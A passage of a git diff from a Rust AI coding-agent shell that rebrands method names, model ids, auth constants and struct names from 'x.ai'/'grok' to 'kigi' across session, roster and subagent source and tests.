+        r#"{{"timestamp":1,"method":"_kigi/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"task_backgrounded","task_id":"{task_id}","command":"sleep 99","cwd":"/tmp"}}}}}}"#
     )
 }
 fn completed_line(task_id: &str) -> String {
     format!(
-        r#"{{"timestamp":2,"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"task_completed","task_snapshot":{{"task_id":"{task_id}","completed":true}}}}}}}}"#
+        r#"{{"timestamp":2,"method":"_kigi/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"task_completed","task_snapshot":{{"task_id":"{task_id}","completed":true}}}}}}}}"#
     )
 }
 fn orphaned_ids(tasks: &[OrphanedTask]) -> std::collections::HashSet<&str> {
@@ -1751,7 +1751,7 @@ fn orphaned_tasks_skips_malformed_lines() {
 fn orphaned_tasks_ignores_unrelated_updates() {
     let tmp = tempfile::tempdir().unwrap();
     let bg = bg_line("t1");
-    let unrelated = r#"{"timestamp":1,"method":"_x.ai/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"auto_compact_started","percentage":80}}}"#;
+    let unrelated = r#"{"timestamp":1,"method":"_kigi/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"auto_compact_started","percentage":80}}}"#;
     let path = write_updates(tmp.path(), &[&bg, unrelated]);
     let result = MvpAgent::find_orphaned_background_tasks(&Some(path));
     assert_eq!(result.len(), 1);
@@ -1761,7 +1761,7 @@ fn orphaned_tasks_filters_rewind_dead_branches() {
     let tmp = tempfile::tempdir().unwrap();
     let user_msg = r#"{"timestamp":0,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"user_message_chunk","content":{"type":"text","text":"hello"}}}}"#;
     let bg_before_rewind = bg_line("t-dead");
-    let rewind = r#"{"timestamp":3,"method":"_x.ai/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"rewind_marker","target_prompt_index":0,"created_at":"2025-01-01T00:00:00Z"}}}"#;
+    let rewind = r#"{"timestamp":3,"method":"_kigi/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"rewind_marker","target_prompt_index":0,"created_at":"2025-01-01T00:00:00Z"}}}"#;
     let user_msg2 = r#"{"timestamp":4,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"user_message_chunk","content":{"type":"text","text":"retry"}}}}"#;
     let bg_after_rewind = bg_line("t-alive");
     let path = write_updates(
@@ -1804,7 +1804,7 @@ fn on_demand_enabled_from_remote_settings() {
 async fn auth_type_session_based_no_current_returns_session_token() {
     for method_id in [
         crate::agent::auth_method::CACHED_TOKEN_AUTH_METHOD_ID,
-        crate::agent::auth_method::KIGI_COM_METHOD_ID,
+        crate::agent::auth_method::KIMI_CODE_METHOD_ID,
     ] {
         let agent = build_minimal_agent_for_tests();
         agent.set_auth_method(acp::AuthMethodId::new(method_id));
@@ -1848,7 +1848,7 @@ async fn auth_type_session_based_with_current_returns_session_token() {
     use crate::auth::KimiAuth;
     let agent = build_minimal_agent_for_tests();
     agent.set_auth_method(acp::AuthMethodId::new(
-        crate::agent::auth_method::KIGI_COM_METHOD_ID,
+        crate::agent::auth_method::KIMI_CODE_METHOD_ID,
     ));
     agent.auth_manager.hot_swap(KimiAuth::test_default());
     assert!(agent.auth_manager.current().is_some());
@@ -1899,12 +1899,12 @@ async fn cached_token_fallthrough_prefers_api_key_for_deployment_key() {
     );
 }
 /// No advertiseable credentials at all (no env key, no kill switch): the user
-/// genuinely needs to log in, so the fallthrough is interactive `grok.com`.
+/// genuinely needs to log in, so the fallthrough is interactive `kimi-code`.
 #[tokio::test(flavor = "current_thread")]
 #[serial_test::serial]
-async fn cached_token_fallthrough_falls_to_grok_com_without_credentials() {
+async fn cached_token_fallthrough_falls_to_kigi_com_without_credentials() {
     use crate::agent::auth_method::{
-        KIGI_COM_METHOD_ID, LEGACY_XAI_API_KEY_ENV_VAR, XAI_API_KEY_ENV_VAR,
+        KIMI_CODE_METHOD_ID, LEGACY_XAI_API_KEY_ENV_VAR, XAI_API_KEY_ENV_VAR,
     };
     use kigi_test_support::EnvGuard;
     let _lockdown = EnvGuard::unset("KIGI_DISABLE_API_KEY_AUTH");
@@ -1913,8 +1913,8 @@ async fn cached_token_fallthrough_falls_to_grok_com_without_credentials() {
     let agent = build_minimal_agent_for_tests();
     assert_eq!(
         agent.cached_token_fallthrough_method_id().0.as_ref(),
-        KIGI_COM_METHOD_ID,
-        "no API-key creds and no kill switch -> interactive grok.com login",
+        KIMI_CODE_METHOD_ID,
+        "no API-key creds and no kill switch -> interactive kimi.com login",
     );
 }
 /// `parse_session_kind` routes `session/load` to the gateway Chat path vs. the
@@ -1926,22 +1926,22 @@ fn parse_session_kind_matrix() {
     let cases: &[(&str, serde_json::Value, SessionKind)] = &[
         (
             "chat",
-            json!({ "x.ai/session" : { "kind" : "chat" } }),
+            json!({ "kigi/session" : { "kind" : "chat" } }),
             SessionKind::Chat,
         ),
         (
             "build",
-            json!({ "x.ai/session" : { "kind" : "build" } }),
+            json!({ "kigi/session" : { "kind" : "build" } }),
             SessionKind::Build,
         ),
         (
             "chat_malformed_sibling",
-            json!({ "x.ai/session" : { "kind" : "chat", "facets" : "not-a-map" } }),
+            json!({ "kigi/session" : { "kind" : "chat", "facets" : "not-a-map" } }),
             SessionKind::Chat,
         ),
         (
             "unknown_kind",
-            json!({ "x.ai/session" : { "kind" : "frob" } }),
+            json!({ "kigi/session" : { "kind" : "frob" } }),
             SessionKind::Build,
         ),
         ("absent", json!({}), SessionKind::Build),
@@ -1954,9 +1954,9 @@ fn parse_session_kind_matrix() {
 #[test]
 fn chat_initial_model_matrix() {
     let cases: &[(&str, bool, Option<&str>, Option<&str>)] = &[
-        ("chat_with_model", true, Some("grok-4.5"), Some("grok-4.5")),
+        ("chat_with_model", true, Some("kigi-4.5"), Some("kigi-4.5")),
         ("chat_without_model", true, None, None),
-        ("build_with_model", false, Some("grok-4.5"), None),
+        ("build_with_model", false, Some("kigi-4.5"), None),
         ("build_without_model", false, None, None),
     ];
     for (label, is_chat_kind, custom_model_id, expected) in cases {
@@ -1983,27 +1983,27 @@ fn chat_new_session_model_state_matrix() {
     let cases: &[(&str, acp::SessionModelState, Option<&str>, &str)] = &[
         (
             "requested_in_catalog",
-            state_with("auto", &["auto", "grok-4"]),
-            Some("grok-4"),
-            "grok-4",
+            state_with("auto", &["auto", "kigi-4"]),
+            Some("kigi-4"),
+            "kigi-4",
         ),
         (
             "no_request_keeps_catalog_default",
-            state_with("auto", &["auto", "grok-4"]),
+            state_with("auto", &["auto", "kigi-4"]),
             None,
             "auto",
         ),
         (
             "requested_not_in_catalog",
             state_with("auto", &["auto"]),
-            Some("grok-4.5"),
-            "grok-4.5",
+            Some("kigi-4.5"),
+            "kigi-4.5",
         ),
         (
             "requested_with_empty_catalog",
             state_with("", &[]),
-            Some("grok-4"),
-            "grok-4",
+            Some("kigi-4"),
+            "kigi-4",
         ),
     ];
     for (label, state, requested, expected) in cases {
@@ -2069,7 +2069,7 @@ fn ext_method_rewind_uses_local_dispatch_without_bridge() {
         let params = serde_json::json!({ "sessionId" : "sess-local" });
         let err = agent
             .ext_method(acp::ExtRequest::new(
-                "x.ai/rewind/points",
+                "kigi/rewind/points",
                 std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
             ))
             .await
@@ -2116,7 +2116,7 @@ fn make_live_session_handle(
     tokio::sync::mpsc::UnboundedReceiver<TestSessionCommand>,
 ) {
     let (cmd_tx, cmd_rx) = tokio::sync::mpsc::unbounded_channel();
-    let mut handle = make_test_handle("test-model", false, Some("grok-tui"));
+    let mut handle = make_test_handle("test-model", false, Some("kigi-tui"));
     handle.cmd_tx = cmd_tx.clone();
     handle.info = crate::session::info::Info {
         id: sid.clone(),
@@ -2149,14 +2149,14 @@ fn spawn_fake_actor(
     });
     observed_rx
 }
-/// Drive `x.ai/internal/evict_sessions` through the real `ext_notification`
+/// Drive `kigi/internal/evict_sessions` through the real `ext_notification`
 /// handler path (not the internal helper) — matches how the leader server
 /// signals a client disconnect.
 async fn drive_disconnect(agent: &MvpAgent, sid: &acp::SessionId) {
     drive_disconnect_many(agent, &[sid]).await;
 }
 /// Like `drive_disconnect`, but evicts several sessions in a single
-/// `x.ai/internal/evict_sessions` notification — the realistic shape of a
+/// `kigi/internal/evict_sessions` notification — the realistic shape of a
 /// real client disconnect, and the path that exercises `handle_evict_sessions`'
 /// concurrent `join_all` check pass followed by the sequential act pass.
 async fn drive_disconnect_many(agent: &MvpAgent, sids: &[&acp::SessionId]) {
@@ -2166,13 +2166,13 @@ async fn drive_disconnect_many(agent: &MvpAgent, sids: &[&acp::SessionId]) {
     let raw = serde_json::value::to_raw_value(&params).unwrap();
     agent
         .ext_notification(acp::ExtNotification::new(
-            "x.ai/internal/evict_sessions",
+            "kigi/internal/evict_sessions",
             raw.into(),
         ))
         .await
         .expect("evict_sessions notification must be handled");
 }
-/// Drive `x.ai/session/close` through the real `ext_method` dispatch
+/// Drive `kigi/session/close` through the real `ext_method` dispatch
 /// (`ext_method` → `handlers::session::handle` → `handle_session_close`),
 /// exercising the exact production path that finalizes the replica.
 async fn drive_close(agent: &MvpAgent, session_id: &str) -> Result<acp::ExtResponse, acp::Error> {
@@ -2181,7 +2181,7 @@ async fn drive_close(agent: &MvpAgent, session_id: &str) -> Result<acp::ExtRespo
     let raw = serde_json::value::to_raw_value(&params).unwrap();
     agent
         .ext_method(acp::ExtRequest::new(
-            "x.ai/session/close",
+            "kigi/session/close",
             std::sync::Arc::from(raw),
         ))
         .await
@@ -2423,7 +2423,7 @@ fn disconnect_keeps_resident_when_plan_approval_parked() {
         );
     });
 }
-/// Mixed batch in a *single* `x.ai/internal/evict_sessions` notification —
+/// Mixed batch in a *single* `kigi/internal/evict_sessions` notification —
 /// the realistic disconnect shape and the path that exercises
 /// `handle_evict_sessions`' `join_all` two-pass (concurrent `IsBusy` checks,
 /// then sequential act). One session's actor reports busy (→ kept resident,
@@ -2512,7 +2512,7 @@ fn session_live_state_map_is_bounded_across_cycles() {
     });
 }
 /// Finalize fires on a genuine terminal close — driven through the **real**
-/// `x.ai/session/close` dispatch (`ext_method` → `handle_session_close`),
+/// `kigi/session/close` dispatch (`ext_method` → `handle_session_close`),
 /// not the internal helper. Proves finalize was *moved* (not removed) and
 /// guards the handler's `existed` gate. (Finalize assertion is
 /// invocation-level; see note in `finalize_session_replica`.)
@@ -2663,7 +2663,7 @@ fn reload_after_terminal_removal_starts_clean() {
 }
 /// Build an agent whose gateway is wired to a live receiver, so a test can
 /// observe (and answer) agent→client reverse-requests like the dormant
-/// `x.ai/folder_trust/request` round-trip.
+/// `kigi/folder_trust/request` round-trip.
 fn build_agent_with_gateway_rx() -> (
     MvpAgent,
     tokio::sync::mpsc::UnboundedReceiver<kigi_acp_lib::AcpClientMessage>,
@@ -2698,7 +2698,7 @@ fn folder_trust_on() -> crate::util::config::RemoteSettings {
         ..Default::default()
     }
 }
-/// Pull the next `x.ai/folder_trust/request` reverse-request off the gateway and
+/// Pull the next `kigi/folder_trust/request` reverse-request off the gateway and
 /// answer it with `outcome`. Returns the request's decoded params.
 async fn answer_folder_trust_request(
     gw_rx: &mut tokio::sync::mpsc::UnboundedReceiver<kigi_acp_lib::AcpClientMessage>,
@@ -2711,7 +2711,7 @@ async fn answer_folder_trust_request(
     let kigi_acp_lib::AcpClientMessage::ExtMethod(args) = msg else {
         panic!("expected an ext_method reverse-request, got a different message");
     };
-    assert_eq!(args.request.method.as_ref(), "x.ai/folder_trust/request");
+    assert_eq!(args.request.method.as_ref(), "kigi/folder_trust/request");
     let params: serde_json::Value = serde_json::from_str(args.request.params.get()).unwrap();
     let resp: acp::ExtResponse = acp::ExtResponse::new(std::sync::Arc::from(
         serde_json::value::to_raw_value(&serde_json::json!({ "outcome" : outcome })).unwrap(),
@@ -3142,21 +3142,21 @@ mod direct_hub_cloud_removed {
     }
     #[test]
     fn cloud_server_id_meta_is_hard_error() {
-        let meta = serde_json::json!({ "x.ai/cloud_server_id" : "srv-123" });
+        let meta = serde_json::json!({ "kigi/cloud_server_id" : "srv-123" });
         let err = reject_direct_hub_cloud_meta(meta.as_object()).expect_err("must reject");
         assert_direct_hub_error(err);
     }
     #[test]
     fn cloud_server_id_null_still_present_is_hard_error() {
-        let meta = serde_json::json!({ "x.ai/cloud_server_id" : null });
+        let meta = serde_json::json!({ "kigi/cloud_server_id" : null });
         let err = reject_direct_hub_cloud_meta(meta.as_object()).expect_err("must reject");
         assert_direct_hub_error(err);
     }
     #[test]
     fn cloud_server_id_with_gateway_meta_still_hard_error() {
         let meta = serde_json::json!(
-            { "x.ai/cloud_server_id" : "srv-legacy", "envId" : "env-1",
-            "x.ai/cloud_existing_workspace" : { "server_id" : "ws-1", "cwd" :
+            { "kigi/cloud_server_id" : "srv-legacy", "envId" : "env-1",
+            "kigi/cloud_existing_workspace" : { "server_id" : "ws-1", "cwd" :
             "/workspace" } }
         );
         let err = reject_direct_hub_cloud_meta(meta.as_object()).expect_err("Direct stamp wins");
@@ -3173,7 +3173,7 @@ mod direct_hub_cloud_removed {
         assert!(
             reject_direct_hub_cloud_meta(
                 serde_json::json!({
-            "x.ai/cloud_existing_workspace" : { "server_id" : "ws-1", "cwd" :
+            "kigi/cloud_existing_workspace" : { "server_id" : "ws-1", "cwd" :
             "/workspace" } })
                 .as_object()
             )
@@ -3212,7 +3212,7 @@ mod soft_default_settings_emit {
                 let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg else {
                     panic!("expected ExtNotification, got {msg:?}");
                 };
-                assert_eq!(args.request.method.as_ref(), "x.ai/settings/update");
+                assert_eq!(args.request.method.as_ref(), "kigi/settings/update");
                 let params: serde_json::Value =
                     serde_json::from_str(args.request.params.get()).expect("parse params");
                 assert_eq!(
diff --git a/crates/codegen/kigi-shell/src/agent/roster.rs b/crates/codegen/kigi-shell/src/agent/roster.rs
index 1b57f13..e90c9b4 100644
--- a/crates/codegen/kigi-shell/src/agent/roster.rs
+++ b/crates/codegen/kigi-shell/src/agent/roster.rs
@@ -5,8 +5,8 @@
 //! actors) plus recently-touched on-disk (`Dormant`) sessions. Clients read it
 //! two ways:
 //!
-//!   - request/response `x.ai/sessions/list` → `{ "sessions": [RosterEntry, …] }`
-//!   - broadcast notification `x.ai/sessions/changed` →
+//!   - request/response `kigi/sessions/list` → `{ "sessions": [RosterEntry, …] }`
+//!   - broadcast notification `kigi/sessions/changed` →
 //!     `{ "upserted": [RosterEntry, …], "removed": ["sess-abc", …] }`
 //!
 //! The wire shape is intentionally small and current-state only — no event
@@ -76,13 +76,13 @@ pub struct RosterEntry {
     pub origin: RosterOrigin,
 }
 
-/// Response payload for `x.ai/sessions/list`.
+/// Response payload for `kigi/sessions/list`.
 #[derive(Serialize, Deserialize, Clone, Debug, Default)]
 pub struct RosterListResponse {
     pub sessions: Vec<RosterEntry>,
 }
 
-/// Params payload for the `x.ai/sessions/changed` broadcast notification.
+/// Params payload for the `kigi/sessions/changed` broadcast notification.
 #[derive(Serialize, Deserialize, Clone, Debug, Default)]
 pub struct RosterChanged {
     #[serde(default)]
@@ -92,8 +92,8 @@ pub struct RosterChanged {
 }
 
 /// JSON-RPC method names for the roster API.
-pub const SESSIONS_LIST_METHOD: &str = "x.ai/sessions/list";
-pub const SESSIONS_CHANGED_METHOD: &str = "x.ai/sessions/changed";
+pub const SESSIONS_LIST_METHOD: &str = "kigi/sessions/list";
+pub const SESSIONS_CHANGED_METHOD: &str = "kigi/sessions/changed";
 
 /// Merge live `resident` rows with on-disk `summaries` into the sorted roster.
 /// Pure, so it is unit-testable without disk or a live actor.
@@ -173,7 +173,7 @@ mod merge_roster_tests {
             title: None,
             cwd: format!("/live/{id}"),
             is_worktree: false,
-            model_id: Some("grok-4".into()),
+            model_id: Some("kigi-4".into()),
             reasoning_effort: None,
             yolo: false,
             activity,
diff --git a/crates/codegen/kigi-shell/src/agent/server.rs b/crates/codegen/kigi-shell/src/agent/server.rs
index 7b0738d..98554c3 100644
--- a/crates/codegen/kigi-shell/src/agent/server.rs
+++ b/crates/codegen/kigi-shell/src/agent/server.rs
@@ -1,7 +1,7 @@
 //! WebSocket server for remote agent connections.
 //!
 //! This module provides a WebSocket server that allows remote TUI clients to
-//! connect to a grok agent running on a different machine.
+//! connect to a kigi agent running on a different machine.
 //!
 //! The agent persists across WebSocket reconnections: a single MvpAgent instance
 //! is created on first connection and reused for all subsequent connections. This
diff --git a/crates/codegen/kigi-shell/src/agent/session_config.rs b/crates/codegen/kigi-shell/src/agent/session_config.rs
index e4bdd5e..896ede8 100644
--- a/crates/codegen/kigi-shell/src/agent/session_config.rs
+++ b/crates/codegen/kigi-shell/src/agent/session_config.rs
@@ -25,7 +25,7 @@ pub struct SessionConfigOption {
 
 #[derive(Debug, Clone, Serialize)]
 #[serde(rename_all = "camelCase")]
-pub struct GrokSessionDetail {
+pub struct KigiSessionDetail {
     pub session_id: String,
     pub kind: String,
     pub cwd: String,
@@ -34,7 +34,7 @@ pub struct GrokSessionDetail {
     pub title: Option<String>,
 }
 
-impl GrokSessionDetail {
+impl KigiSessionDetail {
     pub fn build(
         session_id: String,
         cwd: String,
@@ -124,11 +124,8 @@ mod tests {
 
     #[test]
     fn options_have_one_selected_model_and_a_mode_per_effort() {
-        let models = [
-            model("grok-build", "Grok Build"),
-            model("grok-4.5", "Grok 4.5"),
-        ];
-        let current = acp::ModelId::from("grok-build");
+        let models = [model("kigi", "Kigi"), model("kigi-4.5", "Kigi 4.5")];
+        let current = acp::ModelId::from("kigi");
         let opts = build_session_config_options(
             &models,
             &current,
@@ -140,7 +137,7 @@ mod tests {
         assert_eq!(model_opts.len(), 2);
         let selected_models: Vec<_> = model_opts.iter().filter(|o| o.selected).collect();
         assert_eq!(selected_models.len(), 1);
-        assert_eq!(selected_models[0].id, "grok-build");
+        assert_eq!(selected_models[0].id, "kigi");
 
         let mode_opts: Vec<_> = opts.iter().filter(|o| o.category == "mode").collect();
         assert_eq!(mode_opts.len(), SELECTABLE_REASONING_EFFORTS.len());
@@ -153,8 +150,8 @@ mod tests {
     #[test]
     fn none_effort_is_not_a_user_selectable_mode() {
         assert!(!SELECTABLE_REASONING_EFFORTS.contains(&ReasoningEffort::None));
-        let models = [model("grok-build", "Grok Build")];
-        let current = acp::ModelId::from("grok-build");
+        let models = [model("kigi", "Kigi")];
+        let current = acp::ModelId::from("kigi");
         let opts = build_session_config_options(
             &models,
             &current,
@@ -168,8 +165,8 @@ mod tests {
 
     #[test]
     fn no_mode_options_when_model_lacks_effort_support() {
-        let models = [model("grok-build", "Grok Build")];
-        let current = acp::ModelId::from("grok-build");
+        let models = [model("kigi", "Kigi")];
+        let current = acp::ModelId::from("kigi");
         let opts = build_session_config_options(&models, &current, &[], None);
         assert_eq!(opts.len(), 1);
         assert!(opts.iter().all(|o| o.category == "model"));
@@ -177,42 +174,42 @@ mod tests {
 
     #[test]
     fn model_label_falls_back_to_id_when_name_empty() {
-        let models = [model("grok-build", "")];
-        let current = acp::ModelId::from("grok-build");
+        let models = [model("kigi", "")];
+        let current = acp::ModelId::from("kigi");
         let opts = build_session_config_options(&models, &current, &[], None);
-        assert_eq!(opts[0].label, "grok-build");
+        assert_eq!(opts[0].label, "kigi");
     }
 
     #[test]
     fn session_config_option_serializes_camel_case() {
         let opt = SessionConfigOption {
-            id: "grok-build".to_string(),
+            id: "kigi".to_string(),
             category: "model".to_string(),
-            label: "Grok Build".to_string(),
+            label: "Kigi".to_string(),
             description: None,
             selected: true,
         };
         let v = serde_json::to_value(&opt).expect("serialize");
-        assert_eq!(v["id"], "grok-build");
+        assert_eq!(v["id"], "kigi");
         assert_eq!(v["category"], "model");
-        assert_eq!(v["label"], "Grok Build");
+        assert_eq!(v["label"], "Kigi");
         assert_eq!(v["selected"], true);
         assert!(v.get("description").is_none());
     }
 
     #[test]
-    fn grok_session_detail_serializes_camel_case() {
-        let detail = GrokSessionDetail::build(
+    fn kigi_session_detail_serializes_camel_case() {
+        let detail = KigiSessionDetail::build(
             "sess-1".to_string(),
             "/Users/me/xai".to_string(),
-            "grok-build".to_string(),
+            "kigi".to_string(),
             None,
         );
         let v = serde_json::to_value(&detail).expect("serialize");
         assert_eq!(v["sessionId"], "sess-1");
         assert_eq!(v["kind"], "build");
         assert_eq!(v["cwd"], "/Users/me/xai");
-        assert_eq!(v["currentModelId"], "grok-build");
+        assert_eq!(v["currentModelId"], "kigi");
         assert!(v.get("title").is_none());
     }
 }
diff --git a/crates/codegen/kigi-shell/src/agent/subagent/coordinator_lifecycle.rs b/crates/codegen/kigi-shell/src/agent/subagent/coordinator_lifecycle.rs
index 4eade62..a51dd56 100644
--- a/crates/codegen/kigi-shell/src/agent/subagent/coordinator_lifecycle.rs
+++ b/crates/codegen/kigi-shell/src/agent/subagent/coordinator_lifecycle.rs
@@ -15,7 +15,7 @@ use crate::session::{
 use crate::terminal::AsyncTerminalRunner;
 use crate::tools::ToolContext;
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
-use kigi_tools::implementations::grok_build::task::types::*;
+use kigi_tools::implementations::kigi::task::types::*;
 use kigi_workspace::file_system::AsyncFileSystem;
 use kigi_hunk_tracker::HunkTrackerHandle;
 use super::*;
@@ -156,8 +156,8 @@ impl SubagentCoordinator {
     pub fn outstanding_reply_for_prompt(
         &self,
         prompt_id: &str,
-    ) -> kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply {
-        kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply {
+    ) -> kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply {
+        kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply {
             live_ids: self.outstanding_for_prompt(prompt_id),
             background_live: self.background_live_for_prompt(prompt_id),
             subagent_usage_not_applied: self.subagent_usage_not_applied(prompt_id),
diff --git a/crates/codegen/kigi-shell/src/agent/subagent/coordinator_query.rs b/crates/codegen/kigi-shell/src/agent/subagent/coordinator_query.rs
index a53e9cf..df10cb2 100644
--- a/crates/codegen/kigi-shell/src/agent/subagent/coordinator_query.rs
+++ b/crates/codegen/kigi-shell/src/agent/subagent/coordinator_query.rs
@@ -15,7 +15,7 @@ use crate::session::{
 use crate::terminal::AsyncTerminalRunner;
 use crate::tools::ToolContext;
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
-use kigi_tools::implementations::grok_build::task::types::*;
+use kigi_tools::implementations::kigi::task::types::*;
 use kigi_workspace::file_system::AsyncFileSystem;
 use kigi_hunk_tracker::HunkTrackerHandle;
 use super::*;
@@ -323,7 +323,7 @@ impl SubagentCoordinator {
     /// asynchronously after dropping the coordinator borrow.
     ///
     /// Returns an empty `Vec` if no active subagents match the given
-    /// parent session ID. Callers (e.g. the `x.ai/subagent/list_running`
+    /// parent session ID. Callers (e.g. the `kigi/subagent/list_running`
     /// ACP handler) should treat an empty result as a normal "no running
     /// subagents" response, not an error.
     pub(crate) fn list_running_for_parent(
diff --git a/crates/codegen/kigi-shell/src/agent/subagent/handle_request.rs b/crates/codegen/kigi-shell/src/agent/subagent/handle_request.rs
index 72de31d..3e907ed 100644
--- a/crates/codegen/kigi-shell/src/agent/subagent/handle_request.rs
+++ b/crates/codegen/kigi-shell/src/agent/subagent/handle_request.rs
@@ -15,7 +15,7 @@ use crate::session::{
 use crate::terminal::AsyncTerminalRunner;
 use crate::tools::ToolContext;
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
-use kigi_tools::implementations::grok_build::task::types::*;
+use kigi_tools::implementations::kigi::task::types::*;
 use kigi_workspace::file_system::AsyncFileSystem;
 use kigi_hunk_tracker::HunkTrackerHandle;
 use super::*;
@@ -306,7 +306,7 @@ pub(crate) async fn handle_subagent_request(
                     subagent_id = % request.id, error = % e,
                     "Could not resolve worktree base dir, using temp dir for subagent worktree"
                 );
-                std::env::temp_dir().join("grok-subagent-worktrees").join(&request.id)
+                std::env::temp_dir().join("kigi-subagent-worktrees").join(&request.id)
             }
         };
         let source_clone = source_cwd;
@@ -396,7 +396,7 @@ pub(crate) async fn handle_subagent_request(
         );
     }
     {
-        use kigi_tools::implementations::grok_build::task::MAX_SUBAGENT_DEPTH;
+        use kigi_tools::implementations::kigi::task::MAX_SUBAGENT_DEPTH;
         use kigi_tools::types::tool::ToolKind;
         let child_depth = ctx.parent_depth + 1;
         if child_depth >= MAX_SUBAGENT_DEPTH {
@@ -754,10 +754,10 @@ pub(crate) async fn handle_subagent_request(
         }
     }
     if let Some(scope) = agent_memory_scope {
-        use kigi_tools::implementations::grok_build;
+        use kigi_tools::implementations::kigi;
         use kigi_tools::implementations::opencode;
         let memory_tools: Vec<kigi_tools::registry::types::ToolConfig> = vec![
-            (& grok_build::ReadFileTool).into(), (& grok_build::SearchReplaceTool)
+            (& kigi::ReadFileTool).into(), (& kigi::SearchReplaceTool)
             .into(), (& opencode::OpenCodeWriteTool).into(),
         ];
         for tc in memory_tools {
@@ -1570,7 +1570,7 @@ pub(crate) async fn handle_subagent_request(
     let mut worktree_removed = false;
     if let Some(ref wt_path) = worktree_path {
         if snapshot_dispose_enabled {
-            let ref_name = format!("refs/grok/subagents/{}", request.id);
+            let ref_name = format!("refs/kigi/subagents/{}", request.id);
             let source_repo = resolve_subagent_source_repo(&ctx);
             match crate::session::worktree::snapshot_subagent_worktree(
                     wt_path,
diff --git a/crates/codegen/kigi-shell/src/agent/subagent/mod.rs b/crates/codegen/kigi-shell/src/agent/subagent/mod.rs
index 4a83e01..bc54037 100644
--- a/crates/codegen/kigi-shell/src/agent/subagent/mod.rs
+++ b/crates/codegen/kigi-shell/src/agent/subagent/mod.rs
@@ -23,7 +23,7 @@ use crate::tools::ToolContext;
 use agent_client_protocol as acp;
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
 use kigi_hunk_tracker::HunkTrackerHandle;
-use kigi_tools::implementations::grok_build::task::types::*;
+use kigi_tools::implementations::kigi::task::types::*;
 use kigi_workspace::file_system::AsyncFileSystem;
 use std::collections::HashMap;
 use std::path::{Path, PathBuf};
@@ -197,7 +197,7 @@ pub(crate) struct SubagentSpawnContext {
     /// Parent's scheduler handle. When `Some`, the subagent reuses the
     /// parent's scheduler actor so scheduled tasks survive subagent exit.
     pub parent_scheduler_handle:
-        Option<kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle>,
+        Option<kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle>,
     /// Parent's session environment variables (.envrc + color settings).
     /// Shared so the child inherits the same env without re-loading.
     pub session_env: Arc<HashMap<String, String>>,
@@ -207,10 +207,10 @@ pub(crate) struct SubagentSpawnContext {
     /// Resolved sampling config for web_search.
     pub web_search_config: kigi_tools::implementations::WebSearchConfig,
     /// Resolved config for web fetch.
-    pub web_fetch_config: kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig,
+    pub web_fetch_config: kigi_tools::implementations::kigi::web_fetch::WebFetchConfig,
     /// Resolved config for the deploy service.
     pub app_builder_deployer_config:
-        kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig,
+        kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig,
     /// Whether the write_file tool is enabled.
     pub write_file_enabled: bool,
     /// Whether goal mode (`/goal`) is enabled.
@@ -301,7 +301,7 @@ pub(crate) struct SubagentSpawnContext {
     /// goes through `agent/config.rs::sampling_config_for_model`
     /// which always sets that field to `None`.
     pub attribution_callback: Option<kigi_sampler::SharedAttributionCallback>,
-    /// Parent session's agent name (e.g. "grok-build").
+    /// Parent session's agent name (e.g. "kigi").
     pub parent_agent_name: Option<String>,
     /// `agent_type` of the parent's current model — the harness-flavor fallback
     /// when `parent_agent_name` is not a recognized harness, e.g. a custom
@@ -1639,12 +1639,12 @@ pub(crate) fn subagent_harness_flavor_is_representable(_agent_type: &str) -> boo
 /// Apply the harness-dependent toolset/prompt re-selection to a resolved
 /// agent definition.
 ///
-/// The harness flavor (alternate vs grok-build) normally follows the PARENT
-/// agent: `GrokBuildOrchestrator` parents give children
+/// The harness flavor (alternate vs kigi) normally follows the PARENT
+/// agent: `KigiOrchestrator` parents give children
 /// the alternate harness; the orchestrator keeps children lean, and other parents
 /// inherit the file-tool override (hashline vs standard). A `/goal` role may
 /// pass `harness_agent_type` to OVERRIDE that flavor regardless of the parent
-/// (so a grok-build session can run an alternate-harness verifier and vice-versa);
+/// (so a kigi session can run an alternate-harness verifier and vice-versa);
 /// `None` for every non-goal spawn ⇒ the parent decides (unchanged). The base
 /// toolset stays role-dependent on `subagent_type` (general-purpose →
 /// implementer, else explorer), so the role keeps a capable toolset on the
@@ -2170,7 +2170,7 @@ fn emit_subagent_notification(
         .ok();
     if let Some(params) = params {
         let ext_notification =
-            acp::ExtNotification::new("x.ai/session_notification", params.into());
+            acp::ExtNotification::new("kigi/session_notification", params.into());
         gateway.forward_fire_and_forget(ext_notification);
     }
 }
@@ -2224,7 +2224,7 @@ fn goal_tick_cmd_tx(
 ///
 /// Notifications are **not** persisted to JSONL — they are transient UI
 /// hints, not authoritative lifecycle events. The TUI can resync via
-/// `x.ai/subagent/list_running` on reconnect.
+/// `kigi/subagent/list_running` on reconnect.
 fn spawn_progress_publisher(
     signals_handle: crate::session::signals::SessionSignalsHandle,
     gateway: GatewaySender,
@@ -2289,7 +2289,7 @@ fn spawn_progress_publisher(
             }
             if let Some(params) = params {
                 let ext_notification =
-                    acp::ExtNotification::new("x.ai/session_notification", params.into());
+                    acp::ExtNotification::new("kigi/session_notification", params.into());
                 gateway.forward_fire_and_forget(ext_notification);
             }
         }
diff --git a/crates/codegen/kigi-shell/src/agent/subagent/tests/mod.rs b/crates/codegen/kigi-shell/src/agent/subagent/tests/mod.rs
